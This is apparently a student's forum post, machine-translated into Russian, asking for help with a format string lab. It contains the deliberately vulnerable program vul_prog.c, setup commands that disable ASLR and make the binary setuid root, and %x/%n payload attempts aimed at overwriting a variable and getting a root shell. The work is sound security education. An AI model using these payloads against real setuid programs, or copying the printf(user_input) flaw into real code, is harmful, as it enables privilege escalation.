Здесь учится студент первого курса Cybersecurity (я новичок во многих вещах, таких как Linux и т. Д.)
У меня возникли проблемы с изменением секретного значения в моей лаборатории. Вот что мне нужно для этого сделать
Успешно выполните следующие действия, используя уязвимость формата строки, приводящую к сбою
Печатьсекретное значение секрета
Изменить секретное значение секрета
Изменить секретное значение секрета с помощью предварительно определенного значения 0x42454546
Получить корневую оболочку (дополнительный кредит)
вот код, который мы используем
/*vul_prog.c*/
#include<stdio.h>
#include<stdlib.h>
#define SECRET 0x44
int main(int argc, char*argv[]) {
char user_input[200];
int secret;
int a, b, c, d; /*other variables, not used here.*/
/*getting the secret*/
secret = SECRET;
printf("The variable secret’s address is 0x%8x\n", (unsigned int)&secret);
printf("The variable secret’s value is 0x%x or %d\n", (unsigned int)secret, secret);
printf("Please enter a string\n");
scanf("%s", user_input); /*getting a string from user*/
/*Vulnerable place*/
printf(user_input);
printf("\n");
/*Verify whether your attack is successful*/
printf("The original secret: 0x%x or %d\n", SECRET, SECRET);
printf("The new secret: 0x%x or %d\n", secret, secret);
return 0;
}
Я знаю, каково мое секретное значение, но я не могне изменяйте это. Я знаю команды, которые я должен использовать. Мне нужно изменить, где хранится 44. В моем случае это адрес 0xbfffeb60
[10/23/19]seed@VM:~/Desktop$ ./vul_prog
The variable secret’s address is 0xbfffeb60
The variable secret’s value is 0x44 or 68
Please enter a string
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.bfffeb64.44.b7fd6b28.b7ff37ec.0.b7fff000.bfffece4.44.2e78252e.252e7825
The original secret: 0x44 or 68
The new secret: 0x44 or 68
Команды, которые я использовал до сих пор
sudo sysctl -w kernel.randomize_va_space=0
gcc -z execstack -o vul_prog vul_prog.c
sudo chown root vul_prog
sudo chmod +s vul_prog
После этого я запустил программу ./vul_prog
и ввел%% x, чтобы распечатать адрес. Мой профессор сказал, что код для vul_prog.c
немного изменен по сравнению с оригиналом, и моя книга использует оригинальный код, и в нем приведены инструкции по его модификации с использованием
echo $(printf "\x04\xf3\xff\xbf").%x.%x.%x.%x.%x.%n > input
vul < input
вот как выглядит входной файл после
Póÿ¿.%x.%x.%x.%x.%x.%x.%x.%x.%n
после выполнения этих команд, ничего не меняется. Затем я добавил еще 3 ".% X" и% n в конце и все еще ничего. Когда я попытаюсь сделать это только с
.%x.%x.%x.%x.%x.%x.%x.%x.%n
, это даст мне ошибку сегментации
Сегодня утром я попытался отправить ему электронное письмо, чтобы спросить его, могу ли яВстретьтесь с ним в его кабинете и покажите ему, что я делаю неправильно, а он еще не ответил, так что я надеюсь получить дополнительные советы от любого, кто является экспертом в своей области.
Я добавлю ещеинформация при необходимости.